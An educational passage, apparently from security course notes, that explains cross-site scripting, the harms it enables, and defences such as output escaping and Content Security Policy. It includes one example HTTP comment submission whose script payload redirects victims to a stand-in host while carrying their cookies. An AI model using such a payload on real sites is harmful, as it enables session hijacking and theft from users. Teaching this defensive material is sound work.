A cross-site scripting (XSS) attack happens when attacker-controlled JavaScript is written into a page and then runs in another user’s browser. It turns a site a victim trusts into the delivery mechanism for code that can observe activity there or send the victim elsewhere. section 1.2 section 6.1
The usual path is simple: an attacker submits untrusted input, such as a comment or username; the application stores it or otherwise includes it in dynamic HTML; and a victim loads the page. If the input contains a script tag and is emitted as HTML, the browser executes it. A stored XSS attack is especially harmful because every visitor to the affected page may run the stored script. section 4.9 section 6.2
POST /article/12748/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded comment=<script>window.location= 'haxxed.com?cookie='+document.cookie</script>
An attacker can submit a comment containing a script that redirects the victim’s browser while including the victim’s cookies in the destination URL. section 4.9
XSS can be used to harm users in several ways:
- Steal usernames and passwords through a script on a vulnerable login page. section 6.2
- Hijack a session by stealing a session ID or cookie that JavaScript can access. section 6.2
- Capture credit-card details or other text entered into page forms. section 1.2 section 6.2
- Redirect users to scams or fraud hosted elsewhere. section 1.2
The central defense is output escaping: escape every piece of untrusted dynamic content when writing it into HTML, so characters such as angle brackets display as text instead of becoming markup. Templates commonly escape dynamic values by default; bypassing that behavior with an unsafe rendering option can re-enable XSS. Also set a Content Security Policy (CSP) as an additional protection. section 4.9 section 6.18
Safe comment rendering
A submitted value containing `<script>` is safe when the HTML response contains `<script>` instead. Users see the characters, but the HTML parser does not treat them as a script tag. section 4.9


